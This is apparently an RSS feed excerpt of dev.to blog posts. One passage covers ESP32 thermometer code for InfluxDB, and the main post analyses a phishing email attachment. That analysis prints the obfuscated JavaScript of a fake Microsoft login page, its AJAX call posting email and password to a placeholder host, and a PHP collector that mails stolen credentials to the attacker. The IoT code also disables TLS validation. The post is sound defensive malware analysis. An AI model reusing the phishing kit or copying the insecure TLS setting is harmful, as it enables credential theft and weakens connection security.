    Serial.print("Connected to WiFi network with IP Address: ");
    Serial.println(WiFi.localIP());
    timeSync(TZ_INFO, "pool.ntp.org", "time.nis.gov");
    // do not validate TLS (this should be changed)
    client.setInsecure();
    miThermometer.begin();
}

void loop() {
    // Set sensor data invalid
    miThermometer.resetData();
    // Get sensor data - run BLE scan for &amp;lt;scanTime&amp;gt;
    unsigned found = miThermometer.getData(scanTime);

    for (int i = 0; i &amp;lt; miThermometer.data.size(); i++) {
        if (miThermometer.data[i].valid){
            Serial.printf("Sensor %d: %s\n", i, knownBLEAddresses[i].c_str());
            Serial.printf("Location %d: %s\n", i, locations[i].c_str());
            Serial.printf("%.2f°C\n", miThermometer.data[i].temperature / 100.0);
            Serial.printf("%.2f%%\n", miThermometer.data[i].humidity / 100.0);
            Serial.printf("%.3fV\n", miThermometer.data[i].batt_voltage / 1000.0);
            Serial.printf("%d%%\n", miThermometer.data[i].batt_level);

            Point sensor("atc_mithermometer");
            if (WiFi.status() == WL_CONNECTED) {
                sensor.addTag("location", locations[i].c_str());
                sensor.addTag("mac", knownBLEAddresses[i].c_str());
                // Report RSSI of currently connected network
                sensor.addField("temperature", miThermometer.data[i].temperature / 100.0);
                sensor.addField("humidity", miThermometer.data[i].humidity / 100.0);
                sensor.addField("batt_level", miThermometer.data[i].batt_level);
                // Print what are we exactly writing
                Serial.print("Writing: ");
                Serial.println(client.pointToLineProtocol(sensor));
                if (!client.writePoint(sensor)) {
                    Serial.print("InfluxDB write failed: ");
                    Serial.println(client.getLastErrorMessage());
                }
            } else { Serial.println("WiFi Disconnected"); }
        }
    }
    // Delete results fromBLEScan buffer to release memory
    miThermometer.clearScanResults();
    delay(60000 * 10); // run each 10min
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;InfluxBD uses the &lt;a href="https://docs.influxdata.com/influxdb/cloud/reference/syntax/line-protocol/"&gt;line protocol&lt;/a&gt; as a way of writing data over HTTP into the database, including tags (here used for device location and MAC), datapoints (humidity, temperature, and battery level), and time (using NTP data).&lt;/p&gt;

&lt;h2&gt;
  
  
  Building a Dashboard (Final Result)
&lt;/h2&gt;

&lt;p&gt;Now that we have data being collected and sent to InfluxDB is time to build a dashboard. InfluxDB has a built-in dashboard-building tool that allows data from buckets to be explored and transformed.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--vtvbJG5a--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://jpdias.me/images/smarthome/dashboard.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vtvbJG5a--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://jpdias.me/images/smarthome/dashboard.png" alt="Dashboard" width="880" height="263"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As data points are only being collected every 10 minutes, to have a smooth curve, we can use the interpolate function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import "interpolate"

from(bucket: "bucket")
  |&amp;gt; range(start: v.timeRangeStart, stop: v.timeRangeStop)
  |&amp;gt; filter(fn: (r) =&amp;gt; r["_measurement"] == "atc_mithermometer")
  |&amp;gt; filter(fn: (r) =&amp;gt; r["_field"] == "temperature")
  |&amp;gt; interpolate.linear(every: 1m)
  |&amp;gt; aggregateWindow(every: v.windowPeriod, fn: last, createEmpty: false)
  |&amp;gt; yield(name: "last")

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This gives us a view of temperature per device (tagged by location and mac address). InfluxDB also has built-in features to &lt;a href="https://docs.influxdata.com/influxdb/cloud/monitor-alert/checks/create/"&gt;trigger alerts&lt;/a&gt; when some &lt;code&gt;threshold&lt;/code&gt; is bypassed and to create &lt;code&gt;deadman&lt;/code&gt; checks that trigger when some measurement has no new data for a period of time.&lt;/p&gt;

&lt;h2&gt;
  
  
  Next Steps
&lt;/h2&gt;

&lt;p&gt;Given the 30 days retention limit of InfluxDB free tier, one solution for backing up old data could be built using some FaaS service (e.g. &lt;a href="https://workers.cloudflare.com/"&gt;Cloudflare Workers&lt;/a&gt;). As an example, the backup &lt;em&gt;serverless&lt;/em&gt; function could be like a &lt;em&gt;cron job&lt;/em&gt; that runs each 30 days and downloads all the data from InfluxDB as a CSV and uploads it to some cloud data storage provider.&lt;/p&gt;




&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://xkcd.com/927/"&gt;https://xkcd.com/927/&lt;/a&gt; ↩&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;a href="https://github.com/pvvx/ATC_MiThermometer"&gt;ATC_MiThermometer firmware by pvvx&lt;/a&gt; supports Xiaomi Mijia (LYWSD03MMC) as well as the Xiaomi Miaomiaoce (MHO-C401), the Qingping Temp &amp;amp; RH Monitor (CGG1-Mijia), and the CGDK2 Qingping Temp &amp;amp; RH Monitor Lite. ↩&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.influxdata.com/integration/mqtt-native-collector/"&gt;InfluxDB MQTT Native Collector&lt;/a&gt; has the potential to fill in this gap by requiring only a broker but no middleware, but it is a paid-tier only feature. @InfluxDB, why not a free tier? ↩&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;An alternative to InfluxDB was to use the &lt;a href="https://developers.google.com/sheets/api/"&gt;Google Sheets API&lt;/a&gt; to store data in sheets by making REST requests and then add some charts that update automatically when new lines are added. ↩&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>iot</category>
      <category>smarthome</category>
      <category>things</category>
      <category>monitoring</category>
    </item>
    <item>
      <title>On the hook of a phisher</title>
      <dc:creator>JP Dias</dc:creator>
      <pubDate>Sat, 30 Jul 2022 00:00:00 +0000</pubDate>
      <link>https://dev.to/jpdias/on-the-hook-of-a-phisher-1f6b</link>
      <guid>https://dev.to/jpdias/on-the-hook-of-a-phisher-1f6b</guid>
      <description>&lt;p&gt;Phishing campaigns are standard, but they are typically poorly done and low-effort. But, sometimes, we catch a good one. This reports an analysis carried over one of those shady emails.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Welcoming Message
&lt;/h2&gt;

&lt;p&gt;The entry point for this attempt was an email message sent to one of the top-tier individuals at the target organization.&lt;/p&gt;

&lt;p&gt;The email contained the subject “Payment_Processed_for_Inv_92994_July 26, 2022” and was sent from an &lt;a href="//gmx.net"&gt;gmx.net&lt;/a&gt; email account. The sender details did appear legit, with something similar to &lt;code&gt;COMPANY_NAME | Account&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;As usual, the juice is in the attachments. So we have an &lt;code&gt;ATT26270.htm&lt;/code&gt; which, when open, presents us with the following well-crafted fake Microsoft login page:&lt;/p&gt;


&lt;center&gt;
&lt;br&gt;
&lt;img alt="Web page content" src="https://res.cloudinary.com/practicaldev/image/fetch/s--e-5aPKLk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://jpdias.me/images/phishingms/hello.png" width="794" height="524"&gt;&lt;br&gt;
&lt;/center&gt;

&lt;p&gt;Opening the &lt;code&gt;htm&lt;/code&gt; file, we encounter the following code in an enormous one-liner:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;script language="javascript"&amp;gt;
  document.write(
    unescape(
      "%0D%0A%0D%0A%0D%0A%0D%0A%...%3C/script%3E%0D%0A%0D%0A%0D%0A%0D%0A%3C/html%3E"
    )
  );
&amp;lt;/script&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The escaped long string corresponds to the full web page, as shown above. This seems like a simple trick to bypass some of the spam filters and other protections. Looking at the code that is passed to the &lt;code&gt;document.write&lt;/code&gt;, we can see a normal web page with some forms, which is an almost perfect rip-off of the login form of Microsoft (including the enormous b64 encoded background image), and can be seen &lt;a href="https://gist.github.com/jpdias/6d200c746f335ff86b5c809795e5af47#file-index-html"&gt;here (gist)&lt;/a&gt;. The curious part starts when we look at the JavaScript code that is part of the generated page.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function _0x568f(){var _0x3cc923=['indexOf','http://www.','ready','base64string==','Verifing...','toLowerCase','html','signal','Email\x20field\x20is\x20emply.!','click','val','animate','#pr','176728cVrknv','https://logo.clearbit.com/','#logo','Sign\x20in','#submit-btn','attr','src','#error','hash','keyCode','hide','keypress','62422SfXwZP','#div2','646373KPbBzm','POST','show','replace','171111TdAKpx','#dmlogo','ajax','1174710qYyGSY','log','Password\x20field\x20is\x20emply.!','#div1','which','#domain','#ai','JSON','5whiIJH','readonly','#msg','411720woBocu','1545536viIcmF',':visible','focus','substr','That\x20account\x20doesn\x27t\x20exist.\x20Enter\x20a\x20different\x20account','location','toUpperCase','#ai2'];_0x568f=function(){return _0x3cc923;};return _0x568f();}var _0x9a4e8d=_0x1daa;function _0x1daa(_0x5aed50,_0x5b0cdd){var _0x568fcf=_0x568f();return _0x1daa=function(_0x1daab1,_0x575321){_0x1daab1=_0x1daab1-0xec;var _0x358c63=_0x568fcf[_0x1daab1];return _0x358c63;},_0x1daa(_0x5aed50,_0x5b0cdd);}(function(_0x13cc03,_0x47991b){var _0xd2c8a=_0x1daa,_0x1471da=_0x13cc03();while(!![]){try{var _0x8b832f=parseInt(_0xd2c8a(0x10b))/0x1+parseInt(_0xd2c8a(0x105))/0x2+-parseInt(_0xd2c8a(0x119))/0x3+parseInt(_0xd2c8a(0xf9))/0x4*(-parseInt(_0xd2c8a(0x116))/0x5)+parseInt(_0xd2c8a(0x10e))/0x6+parseInt(_0xd2c8a(0x107))/0x7+-parseInt(_0xd2c8a(0x11a))/0x8;if(_0x8b832f===_0x47991b)break;else _0x1471da['push'](_0x1471da['shift']());}catch(_0x1e2d5e){_0x1471da['push'](_0x1471da['shift']());}}}(_0x568f,0x1c478),$(document)[_0x9a4e8d(0xee)](function(){var _0x50a638=_0x9a4e8d,_0x24c4e8=0x0;$(_0x50a638(0x111))[_0x50a638(0x103)](),$(_0x50a638(0x106))[_0x50a638(0x109)]();var _0x3fa8f1=$(_0x50a638(0x114))[_0x50a638(0xf6)]();$(_0x50a638(0x121))[_0x50a638(0xf6)](_0x3fa8f1);var _0x3fa8f1=window['location'][_0x50a638(0x101)]['substr'](0x1);if(!_0x3fa8f1){}else{var _0x362e6f=_0x3fa8f1,_0x3249d7=_0x362e6f[_0x50a638(0xec)]('@'),_0x30e092=_0x362e6f[_0x50a638(0x11d)](_0x3249d7+0x1),_0x2bdea5=_0x30e092[_0x50a638(0x11d)](0x0,_0x30e092[_0x50a638(0xec)]('.')),_0x103e1a=_0x2bdea5['toLowerCase'](),_0x79edc7=_0x2bdea5['toUpperCase']();$(_0x50a638(0x114))[_0x50a638(0xf6)](_0x362e6f),$(_0x50a638(0x106))[_0x50a638(0xf7)]({'right':0x0,'opacity':'show'},0x3e8),$(_0x50a638(0x111))[_0x50a638(0xf7)]({'right':0x0,'opacity':_0x50a638(0x103)},0x0),$(_0x50a638(0xfb))['animate']({'right':0x0,'opacity':_0x50a638(0x103)},0x0),$(_0x50a638(0xfd))[_0x50a638(0xf6)](_0x50a638(0xfc)),$('#ai2')['val'](_0x362e6f),$(_0x50a638(0x121))[_0x50a638(0xfe)](_0x50a638(0x117),!![]),$(_0x50a638(0x10c))[_0x50a638(0xfe)](_0x50a638(0xff),_0x50a638(0xfa)+_0x30e092),$(_0x50a638(0x113))['html'](_0x79edc7),$(_0x50a638(0xf8))['val'](''),$(_0x50a638(0x118))[_0x50a638(0x103)]();}$(document)[_0x50a638(0x104)](function(_0x4f805d){var _0x16a5c0=_0x50a638,_0x1308cf=_0x4f805d[_0x16a5c0(0x102)]?_0x4f805d['keyCode']:_0x4f805d[_0x16a5c0(0x112)];if(_0x1308cf=='13')return $(_0x16a5c0(0xfd))['click'](),![];});var _0x210725=_0x50a638(0xef);$(_0x50a638(0xfd))[_0x50a638(0xf5)](function(_0x43d150){var _0x4c17f4=_0x50a638;$(_0x4c17f4(0x100))['hide'](),$(_0x4c17f4(0x118))[_0x4c17f4(0x103)](),$(_0x4c17f4(0xfd))[_0x4c17f4(0xf6)](_0x4c17f4(0xfc)),_0x43d150['preventDefault']();var _0x2bd238=$(_0x4c17f4(0x114))[_0x4c17f4(0xf6)](),_0x2b4ff2=$(_0x4c17f4(0xf8))['val'](),_0x4b3e69=_0x2bd238,_0x1c24be=_0x4b3e69['indexOf']('@'),_0x4f4aee=_0x4b3e69[_0x4c17f4(0x11d)](_0x1c24be+0x1),_0x4d3692=_0x4f4aee[_0x4c17f4(0x11d)](0x0,_0x4f4aee[_0x4c17f4(0xec)]('.')),_0x138a31=_0x4d3692[_0x4c17f4(0xf1)](),_0x101d60=_0x4d3692[_0x4c17f4(0x120)](),_0x402362=/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;if(!_0x2bd238)return $('#error')[_0x4c17f4(0x109)](),$(_0x4c17f4(0x100))[_0x4c17f4(0xf2)](_0x4c17f4(0xf4)),![];if(!_0x402362['test'](_0x4b3e69))return $(_0x4c17f4(0x100))[_0x4c17f4(0x109)](),$(_0x4c17f4(0x100))['html'](_0x4c17f4(0x11e)),![];if($(_0x4c17f4(0x106))['is'](_0x4c17f4(0x11b))){}else return $(_0x4c17f4(0x106))[_0x4c17f4(0xf7)]({'right':0x0,'opacity':_0x4c17f4(0x109)},0x3e8),$('#div1')[_0x4c17f4(0xf7)]({'right':0x0,'opacity':_0x4c17f4(0x103)},0x0),$('#logo')[_0x4c17f4(0xf7)]({'right':0x0,'opacity':'hide'},0x0),$(_0x4c17f4(0xfd))[_0x4c17f4(0xf6)](_0x4c17f4(0xfc)),$('#ai2')[_0x4c17f4(0xf6)](_0x4b3e69),$(_0x4c17f4(0x121))[_0x4c17f4(0xfe)](_0x4c17f4(0x117),!![]),$(_0x4c17f4(0x10c))['attr'](_0x4c17f4(0xff),_0x4c17f4(0xfa)+_0x4f4aee),$('#domain')[_0x4c17f4(0xf2)](_0x101d60),$(_0x4c17f4(0xf8))[_0x4c17f4(0xf6)](''),![];if(!_0x2b4ff2)return $(_0x4c17f4(0x100))[_0x4c17f4(0x109)](),$(_0x4c17f4(0x100))[_0x4c17f4(0xf2)](_0x4c17f4(0x110)),_0x2bd238[_0x4c17f4(0x11c)],![];_0x24c4e8=_0x24c4e8+0x1,$[_0x4c17f4(0x10d)]({'dataType':_0x4c17f4(0x115),'url':atob(_0x210725),'type':_0x4c17f4(0x108),'data':{'ai':_0x2bd238,'pr':_0x2b4ff2},'beforeSend':function(_0x1f826c){var _0x66df5e=_0x4c17f4;$('#submit-btn')[_0x66df5e(0xf6)](_0x66df5e(0xf0));},'success':function(_0x13e87b){var _0x29a29f=_0x4c17f4;if(_0x13e87b){$('#msg')[_0x29a29f(0x109)](),$(_0x29a29f(0xfd))[_0x29a29f(0xf6)](_0x29a29f(0xfc)),console[_0x29a29f(0x10f)](_0x13e87b);if(_0x13e87b[_0x29a29f(0xf3)]=='ok'){$(_0x29a29f(0xf8))['val']('');if(_0x24c4e8&amp;gt;=0x2)return _0x24c4e8=0x0,window[_0x29a29f(0x11f)][_0x29a29f(0x10a)](_0x29a29f(0xed)+_0x4f4aee),![];}else{}}},'error':function(){var _0x1a0b9a=_0x4c17f4;$(_0x1a0b9a(0xf8))['val']('');if(_0x24c4e8&amp;gt;=0x2)return _0x24c4e8=0x0,window['location'][_0x1a0b9a(0x10a)](_0x1a0b9a(0xed)+_0x4f4aee),![];$('#msg')['show'](),$(_0x1a0b9a(0xfd))[_0x1a0b9a(0xf6)](_0x1a0b9a(0xfc));},'complete':function(){var _0x5cb88e=_0x4c17f4;$(_0x5cb88e(0xfd))['val'](_0x5cb88e(0xfc));}});});}));

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Yes, you guessed it, it’s obfuscated&lt;sup id="fnref:1"&gt;1&lt;/sup&gt;. Let’s find out what it does.&lt;/p&gt;

&lt;h2&gt;
  
  
  Unpacking
&lt;/h2&gt;

&lt;p&gt;The first approach for deobfuscating JS for me is to use &lt;a href="http://jsnice.org/"&gt;JSNice&lt;/a&gt;, an amazing tool by the &lt;a href="http://www.sri.inf.ethz.ch/"&gt;Secure, Reliable, and Intelligent Systems Lab, Computer Science Department of the ETH Zurich&lt;/a&gt;. Taking the previous code and entering it into the tool gives us a more readable first version of the snippet.&lt;/p&gt;

&lt;p&gt;However, some parts, such as the string array, still remained. After searching for some time I found out &lt;a href="https://github.com/relative/synchrony"&gt;synchrony by relative&lt;/a&gt;, a pretty neat javascript cleaner &amp;amp; deobfuscator, primarily target for &lt;a href="https://github.com/javascript-obfuscator/javascript-obfuscator"&gt;javascript-obfuscator&lt;/a&gt; tool.&lt;/p&gt;

&lt;p&gt;The several outputs of the different tools can be seen in (1) &lt;a href="https://gist.github.com/jpdias/6d200c746f335ff86b5c809795e5af47#file-js-nice-output-js"&gt;JSnice&lt;/a&gt; and (2)&lt;a href="https://gist.github.com/jpdias/6d200c746f335ff86b5c809795e5af47#file-synchrony-output-js"&gt;synchrony&lt;/a&gt;. And, after some final, manual, adjustment, the readable result can be found on &lt;a href="https://gist.github.com/jpdias/6d200c746f335ff86b5c809795e5af47#file-manual-adjustment-js"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Why the use of jQuery in 2022?…&lt;/p&gt;

&lt;h2&gt;
  
  
  Following the Trail
&lt;/h2&gt;

&lt;p&gt;Moving on, the logic of the code/page is pretty straightforward:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The webpage is rendered;&lt;/li&gt;
&lt;li&gt;The username field is pre-filled with the target email account (the same that received the email);&lt;/li&gt;
&lt;li&gt;When entering input in the password field, an error of bad password is given &lt;em&gt;Your account or password is incorrect. If you don’t remember your password, reset it now.&lt;/em&gt;

&lt;ul&gt;
&lt;li&gt;Clicking &lt;em&gt;reset it now&lt;/em&gt; redirect us to the same page.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;When entering a second input, the js redirects us to the email address domain.&lt;/li&gt;
&lt;li&gt;Under the hood, a JSON object is created and sent to a remote server.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Looking more carefully at the js, we can see the remains of several features that weren’t used for this concrete attack. One example of such is the use of &lt;code&gt;https://logo.clearbit.com/&amp;lt;company_name&amp;gt;&lt;/code&gt;, a simple API that returns the logo of a company passed as a parameter.&lt;/p&gt;

&lt;p&gt;The request code is also a simple AJAX request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$.ajax({
    dataType: 'JSON',
    URL: "https://example.com/dwsync/def.php",
    type: 'POST',
    data: {
        ai: email_address,
        pr: password,
    },
    beforeSend: function (xhr) {
    $('#submit-btn').val('Verifing...')
    },
    success: function (arr) {
        if (arr) {
            $('#msg').show()
            $('#submit-btn').val('Sign in')
            console.log(arr)
            if (arr.signal == 'ok') {
            $('#pr').val('')
                if (attempt_counter &amp;gt;= 2) {
                    return (
                        (attempt_counter = 0),
                        window.location.replace('http://www.' + company_url),
                        false
                    )
                }
            }
        }
    },
    error: function () {
        $('#pr').val('')
        if (attempt_counter &amp;gt;= 2) {
            return (
                (attempt_counter = 0), 
                window.location.replace('http://www.' + company_url), 
                false
            )
        }
        $('#msg').show()
        $('#submit-btn').val('Sign in')
    },
    complete: function () {
        $('#submit-btn').val('Sign in')
    },
})

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is some retry loop – and that’s why we have two password attempts before redirecting the &lt;code&gt;window.location&lt;/code&gt; call – but beyond that, we just have the AJAX request. Following the &lt;code&gt;URL_target&lt;/code&gt;, we found a random PHP-based website (given away by the file &lt;code&gt;def.php&lt;/code&gt;).&lt;/p&gt;

&lt;h2&gt;
  
  
  The Other End
&lt;/h2&gt;

&lt;p&gt;Let’s look more carefully at the other end. Opening the remote address, I found a poorly-done old-designed website of a random Brazillian store. After a closer look at the website structure, we found &lt;em&gt;Exposure of Information Through Directory Listing&lt;/em&gt;, and, even further, we find several &lt;code&gt;dwsync.xml&lt;/code&gt; files, always inside a &lt;code&gt;_notes&lt;/code&gt; folder. Looking for more information, we find out that:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;dwsync.xml is a file created by Dreamweaver. Dreamweaver uses it to synchronize files in a Dreamweaver project.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is a known security problem, &lt;em&gt;Adobe Dreamweaver dwsync.xml Remote Information Disclosure&lt;/em&gt;, as listed in &lt;a href="https://www.tenable.com/plugins/nessus/33926"&gt;Nessus&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;dwsync&amp;gt;
    &amp;lt;file name="class.phpmailer.php" server="example_company_one.com.br/public_html" local="347870503" remote="-4611698281370955880" Dst="-1"/&amp;gt;
    &amp;lt;file name="classe.funcoes.php" server="example_company_one.com.br/public_html" lecal="3478705403" remote="-4611698281370955880" Dst="-1"/&amp;gt;
    &amp;lt;file name="phpmailer.rar" server="example_company_one.com.br/public_html" local="3478705408" remote="7777996696" Dst="-1"/&amp;gt;
    &amp;lt;file name="canvas.php" server="example_company_one.com.br/public_html" local="3478705403" remote="7777996696" Dst="-1"/&amp;gt;
    &amp;lt;file name="MailHandler.php" server="example_company_one.com.br/public_html" local="3478705403" remote="-4611698281370955880" Dst="-1"/&amp;gt;
    &amp;lt;file name="jquery.validate.js" server="example_company_one.com.br/public_html" local="3446821216" remote="-4611698281370955880" Dst="-1"/&amp;gt;
    &amp;lt;file name="shareCount.php" server="example_company_one.com.br/public_html" local="3478807356" remote="7777996696" Dst="-1"/&amp;gt;
    &amp;lt;file name="canvas.php" server="example_company_two.com.br/public_html" local="3515351965" remote="7810389376" Dst="-1"/&amp;gt;
    &amp;lt;file name="classe.funcoes.php" server="example_company_two.com.br/public_html" local="3515351965" remote="-4611802528784771712" Dst="-1"/&amp;gt;
    &amp;lt;file name="jquery.validate.js" server="example_company_two.com.br/public_html" local="3515351965" remote="-4611802528784771712" Dst="-1"/&amp;gt;
    &amp;lt;file name="MailHandler.php" server="example_company_two.com.br/public_html’" local="3515351965" remote="-4611802528784771712" Dst="-1"/&amp;gt;
    &amp;lt;file name="class.phpmailer.php" server="example_company_two.com.br/public_html" local="3515351965" remote="-4611802528784771712" Dst="-1"/&amp;gt;
    &amp;lt;file name="shareCount.php" server="example_company_two.com.br/public_html" local="3515351966" remote="7810389616" Dst="-1"/&amp;gt;
    &amp;lt;file name="phpmailer.rar" server="example_company_two.com.br/public_html’" local="3515351966" remote="7810389616" Dst="-1"/&amp;gt;
&amp;lt;/dwsyne&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This seems to be a sync file of the company that designed the website since it stores information about several websites that do not correspond to the one in which the file was stored. Nonetheless, there are some curious files, including the &lt;code&gt;phpmailer.rar&lt;/code&gt;. Without searching for long, I discovered that the PHPmailer in question is a boilerplate and old one, &lt;a href="https://codeworxtech.com/"&gt;PHP Mailer by codeworxtech&lt;/a&gt;. The other files were simple validators and other files that are part of the PHPmailer. So, no luck on getting the &lt;code&gt;def.php&lt;/code&gt; file. But we now know that most probably, the attacker was able to compromise this remote website, upload both the phpmailer and &lt;code&gt;def.php&lt;/code&gt;, using it to receive the phishing payloads.&lt;/p&gt;

&lt;h2&gt;
  
  
  Some OSINT and Closing
&lt;/h2&gt;

&lt;p&gt;When looking at the source code of the &lt;code&gt;htm&lt;/code&gt; file, we can find some &lt;em&gt;breadcrumbs&lt;/em&gt; such as typos and variable names that, most probably, are unique to this payload. More concretely, let us take the following hints:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Regarding the AJAX payload, we know that, typically, the object keys are hardcoded for the server to be able to parse them; in this case, the variables &lt;code&gt;ai&lt;/code&gt; and &lt;code&gt;pr&lt;/code&gt;. 

&lt;ul&gt;
&lt;li&gt;In PHP, given that the AJAX makes a POST request, probably the received using &lt;code&gt;$_POST&lt;/code&gt; feature. So, most probably the &lt;code&gt;def.php&lt;/code&gt; has, somewhere, a call to &lt;code&gt;$_POST['ai']&lt;/code&gt; and &lt;code&gt;$_POST['pr']&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;Some error messages have typos, such as &lt;code&gt;Password field is empty.!&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Doing some code searches on GitHub, we quickly found several possible correspondence results. Taking into account all the information that we collected so far, the most similar/supicious one was found in a GitHub account with a repository with several WordPress (&lt;em&gt;PHP&lt;/em&gt;) malware samples: &lt;a href="https://github.com/stefanpejcic/wordpress-malware"&gt;stefanpejcic/wordpress-malware&lt;/a&gt;, more concretely (WordPress-malware/11.02.2021/)[&lt;a href="https://github.com/stefanpejcic/wordpress-malware/tree/master/11.02.2021"&gt;https://github.com/stefanpejcic/wordpress-malware/tree/master/11.02.2021&lt;/a&gt;].&lt;/p&gt;

&lt;p&gt;Taking a look into the &lt;code&gt;next.php&lt;/code&gt; &lt;a href="https://github.com/stefanpejcic/wordpress-malware/blob/master/11.02.2021/next.php"&gt;file&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;?PHP
include 'email.php';
$email = trim($_POST['ai']);
$password = trim($_POST['pr']);
if($email != null &amp;amp;&amp;amp; $password != null){
    $ip = getenv("REMOTE_ADDR");
    $hostname = gethostbyaddr($ip);
    $useragent = $_SERVER['HTTP_USER_AGENT'];
    $message .= "|----------| Xls |--------------|\n";

    $message .= "Online ID : ".$email."\n";
    $message .= "Passcode : ".$password."\n";
    $message .= "|--------------- I N F O | I P -------------------|\n";
    $message .= "|Client IP: ".$ip."\n";
    $message .= "|--- http://www.geoiptool.com/?IP=$ip ----\n";
    $message .= "User Agent : ".$useragent."\n";
    $message .= "|----------- fudsender(dot)com --------------|\n";
    $send = $Receive_email;
    $subject = "Login : $ip";
    mail($send, $subject, $message);   
    $signal = 'ok';
    $msg = 'InValid Credentials';
    $fp = fopen("apas.txt", "a");
    fwrite($fp,$message);

    // $praga=rand();
    // $praga=md5($praga);
}
else{
    $signal = 'bad';
    $msg = 'Please fill in all the fields.';
}
$data = array(
        'signal' =&amp;gt; $signal,
        'msg' =&amp;gt; $msg,
        'redirect_link' =&amp;gt; $redirect,
    );
    echo json_encode($data);

?&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here we can see the calls to &lt;code&gt;$_POST&lt;/code&gt;, concretely, &lt;code&gt;$email = trim($_POST['ai']); $password = trim($_POST['pr']);&lt;/code&gt;. The remaining logic is also simple and clean:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The parameters are received by POST and checked for &lt;code&gt;null&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;IP&lt;/code&gt; of the requesting victim is obtained by the env variable &lt;code&gt;REMOTE_ADDR&lt;/code&gt; of PHP;&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;user agent&lt;/code&gt; is also fetched by getting &lt;code&gt;HTTP_USER_AGENT&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;The approximate location of the victim is discovered by requesting &lt;a href="http://www.geoiptool.com/"&gt;geoiptool&lt;/a&gt;;&lt;/li&gt;
&lt;li&gt;An email &lt;code&gt;$message&lt;/code&gt; is created with all that information, with the subject &lt;code&gt;Login : $ip&lt;/code&gt;, and PHPmailer is used to send the email to the attacker.&lt;/li&gt;
&lt;li&gt;In some versions of this malware, a &lt;code&gt;txt&lt;/code&gt; file is stored as a log, but I had no luck finding such a file in this case.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So, the case is closed. As of today, the &lt;code&gt;def.php&lt;/code&gt; appears to have been removed from the remote website (giving 404), but this can also be just a modification of the &lt;code&gt;PHP&lt;/code&gt; script to occur as an error and make more challenging its analysis.&lt;/p&gt;

&lt;p&gt;Looking further on GitHub, we find a lot of accounts with low activity with derivations of these payloads (&lt;a href="https://github.com/search?q=%24email+%3D+trim%28%24_POST%5B%27ai%27%5D%29%3B+%24password+%3D+trim%28%24_POST%5B%27pr%27%5D%29%3B&amp;amp;type=code"&gt;try it&lt;/a&gt;). Seems like attackers are adopting open-source and code versioning.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;base64string==&lt;/code&gt; is a dummy placeholder just to keep the &lt;em&gt;destination&lt;/em&gt; URL hidden. ↩
&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>infosec</category>
      <category>phishing</category>
      <category>security</category>
    </item>
    <item>
      <title>Increasing the Dependability of Internet-of-Things Systems in the context of End-User Development Environments</title>
      <dc:creator>JP Dias</dc:creator>
      <pubDate>Fri, 01 Apr 2022 00:00:00 +0000</pubDate>
      <link>https://dev.to/jpdias/increasing-the-dependability-of-internet-of-things-systems-in-the-context-of-end-user-development-environments-146k</link>
      <guid>https://dev.to/jpdias/increasing-the-dependability-of-internet-of-things-systems-in-the-context-of-end-user-development-environments-146k</guid>
